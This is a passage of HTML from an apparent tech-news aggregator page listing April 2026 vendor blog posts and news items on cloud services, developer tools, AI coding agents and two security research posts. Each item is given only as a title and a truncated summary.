          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-ec2-high-memory-u7i-instances-now-available-in-aws-asia-pacific-singapore-region" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ec2-high-memory-u7i-instances-now-available-in-aws-asia-pacific-singapore-region" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon EC2 High Memory U7i instances now available in AWS Asia Pacific (Singapore) region
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ec2-high-memory-u7i-instances-now-available-in-aws-asia-pacific-singapore-region"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon EC2 High Memory U7i-8TB instances (u7i-8tb.112xlarge) and U7i-12TB instances (u7i-12tb.224xlarge) are now available in AWS Asia Pacific (Singapore) region. U7i instances are part of AWS 7th gen</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/ec2-high-memory-u7i-asia-pacific/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-inference-cloud-memory-layer-a-technical-dive-into-digitalocean-managed-databases" class="group relative scroll-mt-24">
        <a href="#h3-the-inference-cloud-memory-layer-a-technical-dive-into-digitalocean-managed-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Inference Cloud Memory Layer: A Technical Dive into DigitalOcean Managed Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-inference-cloud-memory-layer-a-technical-dive-into-digitalocean-managed-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As AI moves from experimental chat interfaces to production-grade agents, the need for a foundational memory layer to transform these AI-powered tasks into stateful models is apparent. The absence of </p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/memory-layer-of-the-inference-cloud"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-new-migration-readiness-assessment-in-your-journey-to-suse-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-the-new-migration-readiness-assessment-in-your-journey-to-suse-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The New Migration Readiness Assessment in Your Journey to SUSE Virtualization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-new-migration-readiness-assessment-in-your-journey-to-suse-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The SUSE Virtualization: Migration Readiness Assessment is a Predefined Consulting Service designed to assist with the transition from VMware environments to a unified, hyperconverged SUSE Virtualizat</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/the-new-migration-readiness-assessment-in-your-journey-to-suse-virtualization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-leapwork-adds-agentic-ai-capabilities-to-deterministic-test-automation-platform" class="group relative scroll-mt-24">
        <a href="#h3-leapwork-adds-agentic-ai-capabilities-to-deterministic-test-automation-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Leapwork Adds Agentic AI Capabilities to Deterministic Test Automation Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-leapwork-adds-agentic-ai-capabilities-to-deterministic-test-automation-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Leapwork this week revealed it is infusing agentic artificial intelligence (AI) capabilities into its test automation platforms to enable continuous validation across application testing workflows. Co</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/leapwork-adds-agentic-ai-capabilities-to-deterministic-test-automation-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-evolving-media-cdn-for-the-worlds-most-demanding-broadcast-and-streaming-workloads" class="group relative scroll-mt-24">
        <a href="#h3-evolving-media-cdn-for-the-worlds-most-demanding-broadcast-and-streaming-workloads" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Evolving Media CDN for the world’s most demanding broadcast and streaming workloads
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-evolving-media-cdn-for-the-worlds-most-demanding-broadcast-and-streaming-workloads"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editor’s note: In this post, we share joint insights from Raj Gulani, Director of Product Management for Network Experiences, and Dan Rayburn, Industry analyst with 30-plus years of experience coverin</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/networking/media-cdn-and-trends-in-content-delivery/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-deadline-cloud-announces-ai-powered-troubleshooting-assistant-for-render-jobs" class="group relative scroll-mt-24">
        <a href="#h3-aws-deadline-cloud-announces-ai-powered-troubleshooting-assistant-for-render-jobs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Deadline Cloud announces AI-powered troubleshooting assistant for render jobs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-deadline-cloud-announces-ai-powered-troubleshooting-assistant-for-render-jobs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, AWS Deadline Cloud announces an AI-powered troubleshooting assistant that helps you quickly diagnose and resolve render job failures. AWS Deadline Cloud is a fully managed service that simplifi</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/deadline-cloud-ai-troubleshooting/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-bringing-more-transparency-to-githubs-status-page" class="group relative scroll-mt-24">
        <a href="#h3-bringing-more-transparency-to-githubs-status-page" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Bringing more transparency to GitHub’s status page
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-bringing-more-transparency-to-githubs-status-page"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Changes to the status page will provide more specific data, so you&#39;ll have better insight into the overall health of the platform. The post Bringing more transparency to GitHub’s status page appeared </p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/bringing-more-transparency-to-githubs-status-page/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-openai-expands-codex-to-challenge-claude-code" class="group relative scroll-mt-24">
        <a href="#h3-openai-expands-codex-to-challenge-claude-code" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenAI Expands Codex to Challenge Claude Code
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-openai-expands-codex-to-challenge-claude-code"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The battle between the two leading AI developers seems to never stop. The newest chapter: OpenAI has released a major update to its Codex platform, repositioning the tool from a coding assistant into </p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/openai-expands-codex-to-challenge-claude-code/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claude-code-routines-anthropics-answer-to-unattended-dev-automation" class="group relative scroll-mt-24">
        <a href="#h3-claude-code-routines-anthropics-answer-to-unattended-dev-automation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude Code Routines: Anthropic’s Answer to Unattended Dev Automation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claude-code-routines-anthropics-answer-to-unattended-dev-automation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic&#39;s Claude Code Routines let dev teams automate scheduled tasks, GitHub events, and API-triggered workflows from managed cloud infrastructure.</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/claude-code-routines-anthropics-answer-to-unattended-dev-automation/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1117" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1117" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.117
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1117"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.117 (Insiders) Read the full article</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_117"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-hybrid-search-and-reranking-a-deeper-look-at-rag" class="group relative scroll-mt-24">
        <a href="#h3-hybrid-search-and-reranking-a-deeper-look-at-rag" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Hybrid search and reranking: a deeper look at RAG
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-hybrid-search-and-reranking-a-deeper-look-at-rag"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Many of us are familiar with the retrieval augmented generative AI (RAG) pattern for building agentic AI applications – like digital concierges, frontline support chatbots and agents that can help wit</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/hybrid-search-and-reranking-a-deeper-look-at-rag"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-canonical-expands-ubuntu-support-to-next-generation-mediatek-genio-520-and-720-platforms" class="group relative scroll-mt-24">
        <a href="#h3-canonical-expands-ubuntu-support-to-next-generation-mediatek-genio-520-and-720-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Canonical expands Ubuntu support to next-generation MediaTek Genio 520 and 720 platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-canonical-expands-ubuntu-support-to-next-generation-mediatek-genio-520-and-720-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Canonical is pleased to announce the early access launch of Ubuntu 24.04 LTS for MediaTek’s Genio IoT platforms. Building on the companies’ strategic partnership, this release introduces optimized Ubu</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/canonical-expands-ubuntu-support-to-next-generation-mediatek-genio-520-and-720-platforms"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-power-shift-why-the-future-of-the-electric-grid-will-be-software-defined" class="group relative scroll-mt-24">
        <a href="#h3-the-power-shift-why-the-future-of-the-electric-grid-will-be-software-defined" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The power shift: Why the future of the electric grid will be software-defined
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-power-shift-why-the-future-of-the-electric-grid-will-be-software-defined"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Continue the grid modernization conversation at Red Hat Summit OT automation, industrial safety, predictive MLOps and more… The electric grid is no longer just a feat of physics and copper; it’s becom</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/power-shift-why-future-electric-grid-will-be-software-defined"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-proving-open-source-is-ready-for-the-industrial-edge" class="group relative scroll-mt-24">
        <a href="#h3-proving-open-source-is-ready-for-the-industrial-edge" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Proving open source is ready for the industrial edge
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-proving-open-source-is-ready-for-the-industrial-edge"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For years, the industrial sector has operated under the assumption that the core of a factory, the real-time control system, must remain a locked, proprietary environment. We&#39;ve often accepted these r</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/proving-open-source-ready-industrial-edge"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-smartbears-swagger-update-targets-the-api-drift-problem-ai-coding-tools-created" class="group relative scroll-mt-24">
        <a href="#h3-smartbears-swagger-update-targets-the-api-drift-problem-ai-coding-tools-created" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SmartBear’s Swagger update targets the API drift problem AI coding tools created
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-smartbears-swagger-update-targets-the-api-drift-problem-ai-coding-tools-created"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Last week, SmartBear announced new capabilities for its commercial Swagger toolset designed to help organizations govern, validate, and scale APIs The post SmartBear’s Swagger update targets the API d</p>
<p><strong>📅 Apr 19, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/smartbear-swagger-ai-api-management/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-anthropic-openai-google-and-microsoft-agree-that-the-harness-is-the-product-they-disagree-on-the-price" class="group relative scroll-mt-24">
        <a href="#h3-anthropic-openai-google-and-microsoft-agree-that-the-harness-is-the-product-they-disagree-on-the-price" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Anthropic, OpenAI, Google, and Microsoft agree that the harness is the product. They disagree on the price.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-anthropic-openai-google-and-microsoft-agree-that-the-harness-is-the-product-they-disagree-on-the-price"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On March 30, Sycamore announced a $65 million seed round to build what its founder calls an operating system for The post Anthropic, OpenAI, Google, and Microsoft agree that the harness is the product</p>
<p><strong>📅 Apr 18, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-agent-harness-pricing-split/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-google-and-openai-are-making-a-run-at-claudes-desktop-moat-and-anthropic-is-making-it-easy" class="group relative scroll-mt-24">
